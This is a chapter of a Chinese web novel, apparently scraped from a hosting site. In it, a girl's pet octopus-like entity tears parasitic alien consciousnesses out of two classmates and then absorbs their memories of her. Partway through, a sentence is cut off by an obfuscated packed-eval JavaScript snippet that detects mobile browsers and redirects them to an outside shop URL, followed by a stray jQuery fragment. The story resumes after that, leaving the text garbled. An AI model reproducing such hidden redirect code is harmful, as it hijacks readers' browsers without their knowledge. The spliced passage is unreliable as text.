明微点了电暖炉,和柳窈窈在客厅写作业。过了会儿,明微写困了,去开窗户吹吹风。


    窗外风景很平庸,陈旧的街道七纵八拐,高架的电线穿梭于各个楼房之间,某些部分因为长期无人管理,低垂在了房顶上。


    明微打了个呵欠,瞌睡醒得差不多了,就准备去写作业。忽然心有所感,她向斜对面看过去,两个人影在那里鬼鬼祟祟。


    这附近经常有鬼祟的人出没,很正常,明微没多想,继续回去研究数学题。


    三天前,程嘉鸣收到了神主降下的坐标。


    他命人排查这个坐标,发现它指向了市内某个城中村的位置。


    程嘉鸣心潮澎湃。


    他还以为神主会出现在某片海域深处,或者某个神秘岛屿,亦或是裂谷之中,没想到,居然就在本市。概率不亚于在绝对平面上抛一枚硬币,而硬币正好竖放。


    他根据坐标的引导,来到了这个城中村。离所谓的主脑越近,他的心脏愈发膨胀,一头胸腔里的困兽,随时随地会撕破胸前而出。


    程嘉鸣激动地按住胸口,喘着粗气,最终在一栋老旧的楼房前停下。


    就是这里吗?


    就是这里。


    “你也来了。”熟悉的声音从对面传来。司煜从一根电线杆后现身。


    程嘉鸣警惕地盯着司煜。他明明没有将坐标告诉他,为什么他会出现在这里?


    他思考了一下,看着司煜,忽然笑了:“原来你早就知道了。”


    司煜说:“毕竟我也领会过神主的祝福。”


    瞬间,程嘉鸣的五官扭曲成了不属于人类的表情,那是一种不加掩饰的轻蔑、傲慢:“正好,先吃了你,再吃了主脑,我即是唯一。”


    他的头顶飘起一缕红色的烟雾,烟雾越来越浓郁,从中显形出一棵诡异的触手之树。触手之树千丝百缕地连接着程嘉鸣的□□,从他的身上汲取养分。


    即便早有预料,亲眼见到时司煜还是大为震撼。


    司煜理智上知道,程嘉鸣之所以有这种想法,是因为祂的意志已经和他本人的意志结合在一起。至于祂什么时候在程嘉鸣脑海中植入了祂的意识,司煜不清楚。


    无人能逃脱祂的意识控制,只是早晚问题。就像他今天来到明微的住所,也是因为心中那个祂的指引。


    司煜冷冷地看着这一切。又或者,是他身体里的“祂”。


    身体里的“祂”下达指令:


    绝对不能让任何事物独占明微。包括对面,包括主脑。


    此刻,司煜猛然意识到,他和程嘉鸣不知道什么时候,已经成为了神主的分身。但远远不及神主分身那么高级,准确来说,是神主分身的分身。


    祂的分身们一旦脱离了祂,就会生出自我意识,不再臣服于主脑,会想尽办法抢夺主脑的位置。


    祂们毫无道德观念可言,遵循本能地扩张、膨胀,即便会摧毁这颗星球也毫不在乎。


    祂们会毫无底线地利用身边的一切,利用各种手段,包括寄生、繁殖、篡改意识,以达到自己的目的。


    他和程嘉鸣,现在正在被祂们控制着。


    司煜的理智告诉他,他必须唤醒主脑,必须让这一切结束。


    他体内那个声音冷冷反驳:唤醒它?呵,谁要唤醒那个蠢货。趁它处于失忆的脆弱状态,一举杀了它才对啊!


    “没错。要杀死主脑。”“司煜”冷冷地说。没错,祂们就是这样想的。祂们在两人的身体里播种自己的意志,就为了得到这样的一个机会。


    杀死主脑的机会。


    司煜的头顶上也缓缓地飘出红色烟雾,烟雾凝聚成一只巨大的眼睛,它俯视着那只触手之树。


    一场大战一触即发。


    这时,楼房二楼窗户洞开,两条粗壮的黑紫色腕足探出,像抓小鸡崽一样,各自掐住了一条红雾。


    “妻子在写题,不许在家门口打架!”


    说完,那腕足像扯面团一样,将两条红雾无限拉长。“叽——”两条红雾发出痛苦不甘的惨叫,“啵”的一声,被拔出了人类的天灵盖。


    腕足卷住两股不停扭动的红雾,像拿回了自己的玩具一样,迅速缩回窗户里,不忘轻轻合上窗户。


    客厅,柳窈窈突然坐直了身体。她看着明微:“刚刚是什么动静?”


    明微摇了摇头。附近经常会有怪叫,明微已经熟练掌握自动屏蔽的被动技能了。


    柳窈窈说:“我刚才居然听见死鱼的声音了,从楼下传来的。”


    明微说:“下楼看看。”


    于是两人在楼下发现了躺尸的程嘉鸣和司煜。


    正提议打救护车,程嘉鸣和司煜醒了。两人坐起身,看着对面的面孔,打量着周围环境,眼神十分茫然,似乎并不知道为什么自己会出现在这里。


    柳窈窈说:“你俩没事儿怎么跑到这儿睡觉?这又是cos什么。”


    原来柳窈窈也觉得他们社团像搞cosplay的,明微暗暗喊道:知己!


    司煜慢慢从地上爬起来,看向柳窈窈和明微。明微以为他又要露出吓人的眼神,但他并没有。


    反而是正常地笑了一下,像第一次见面那样礼貌:“路过。”


    明微无语。看了一眼柳窈窈,她对司煜的借口也很无语。


    程嘉鸣也爬起身,扶了扶眼镜,用崇敬的语气对明微说:“明微同学,经过慎重考虑,我们决定,由你接任不可名状社团的社长。”


    明微懵了:“嗯?”


    柳窈窈在一旁吐槽:“小明才不会当这种没事跑别人家楼下睡觉的神经病社团的社长好吗?”


    司煜置若罔闻,继续对明微说:“只有您能带领我们走向真理。我们愿意退居二线,辅佐您。”


    为什么要说得那么像皇帝登基……


    明微冷淡脸:“不当。”好麻烦的。


    程嘉鸣:“三倍津贴,作业全包,往年各个学校考试数学题整理汇集,附详细解题过程。”


    明微冷淡脸:“好的,请叫我社长。”


    柳窈窈:“……”


    明微送走了三个人,拎着牡丹虾进了卧室。


    “小章同学,有好吃的——”明微话没说完,表情凝固在脸上。


    之前还好好的小章鱼,倒下了,它的腕足无力地耷拉下来,白沫顺着腕足蜿蜒流下,流到了明微的脚边。


    明微手一松,袋子掉在了地上,水溅在了明微的鞋上,虾子活蹦乱跳。当沾到那些白沫,它们立刻就不动了。


    “小章同学?”明微试探着喊出声,无鱼回应。恐慌感顿时将她席卷一空。她扑到小章鱼的身上。


    “你怎么了?”


    小章鱼不出声。明微搬来梯子,爬到了它的脑袋顶上,跪下,脸紧贴着它的皮肤,她试图听到它的心脏。


    她应当听到生机勃勃的心脏搏动,但现在她只听到了紊乱微弱的声音,可能是她自己的呼吸。


    附着于人类身上过久的意识体,会因为能量吸纳过多污秽,变得恶臭腐败。


    人吃了过期食品会休克。它也会。


    小章鱼昏迷了。那两只残余的神智并不


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16753265|188514||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    老实,在它的身体里横冲直撞。


    重重撞到了壳上,声音撞进了明微的耳朵里。明微以为那是小章鱼的心跳声,展开双臂抱紧了小章鱼。


    “眼睛”:出去。出去。放我出去!


    “触手之树”:明微需要我。放我出去!


    这两只残余的意识体因为长期附着在人类身上,对于人类的语言理解更完善。


    两只意识体逐渐被小章鱼吸收,小章鱼读到了它们的记忆。


    大部分关于明微的记忆。那是学校里的明微。它因为困在家里,而见不到的学校里的明微。


    她在学校里不爱笑,不爱说话,一个人待在座位上。只有别的同学找她时,她才会偶尔接两句话,但她会听得很认真,其实她也很感兴趣。


    她好像很容易困,课间会趴在桌子上休息。她休息时会把两只手抱在脑后,像只鸵鸟一样埋进书堆里,其实她大多数时候都在装睡。


    如果老师要求组队,她会安静地待在角落里,会控制住自己的眼睛不要看向同桌,不要期待任何人会选自己。如果被选了,她会受宠若惊。


    ……


    总而言之,学校里的明微,和家里的明微不一样。


    学校里的明微似乎总是一个人。


    它们不希望她一个人,它们希望每一个人都能像它们一样,关注着明微。


    人类是很容易被潜意识控制的生物。恰好它们这种物种,可以轻易地影响人类的潜意识。


    可是被许多人关注着的明微,并没有那么高兴。她同样战战兢兢。她对别人的关注总是很受宠若惊。


    “眼睛”:再也无法陪伴她了。


    “触手之树”:明微一定会很害怕的。


    “眼睛”:不可以让明微一个人。


    “触手之树”:不可以让明微孤独。


    第一次听到“孤独”这个陌生词语,小章鱼感到困惑。


    于是“眼睛”告诉它,“眼睛”被镶嵌在罗盘里,每天被人类随意支配,每一次支配都会令它感到痛苦。后来短暂地遇到了明微,明微陪它捡石头。


    “触手之树”告诉它,“触手之树”被关在黑暗的地下室里,每日要忍受充满着贪婪的人类噪音。后来明微解救了它,还将它装在书包里,把它带回家。


    孤独。


    小章鱼隐约理解了。


    在明微回家前,家中无处不弥漫着的寂静的空气和粉尘。它翘首看着太阳,数着明微回家的时间。


    在卧室里安静地待着,听着明微远在门外的声音,但是不能跟她一起笑,不能看着她笑。


    原来这就是啊。


    它必须陪伴她。


    以更加正当的姿态。


    必须与她密不可分的姿态。


    “眼睛”的意志消散之前,迫不得已地向主脑交出最后一份记忆。那是“眼睛”唯一最珍贵的东西,“眼睛”想私藏起来的东西。


    那个贴在明微胸口,抱住明微入睡的男孩。


    哦。小章鱼恍然大悟。它要变成这个样子,与明微相似的样子,这样就可以正大光明地和她并肩。


    昏暗的房间里,庞大的黑紫色肉块开始剧烈地颤抖、收缩,发出喑哑的震颤声。皮肉之下的咒文疯狂地涌动着,像要冲出表皮。


    每一块皮肉都在重组着自己。


    这是一个新生和蜕变的过程,伴随着剧烈的疼痛。


    它轻轻地用腕足揽住身上的明微,“唔……”它忍着疼痛,蹭了蹭明微的脸,感受着妻子的体温。直到疼痛超过了它的极限,它晕死了过去。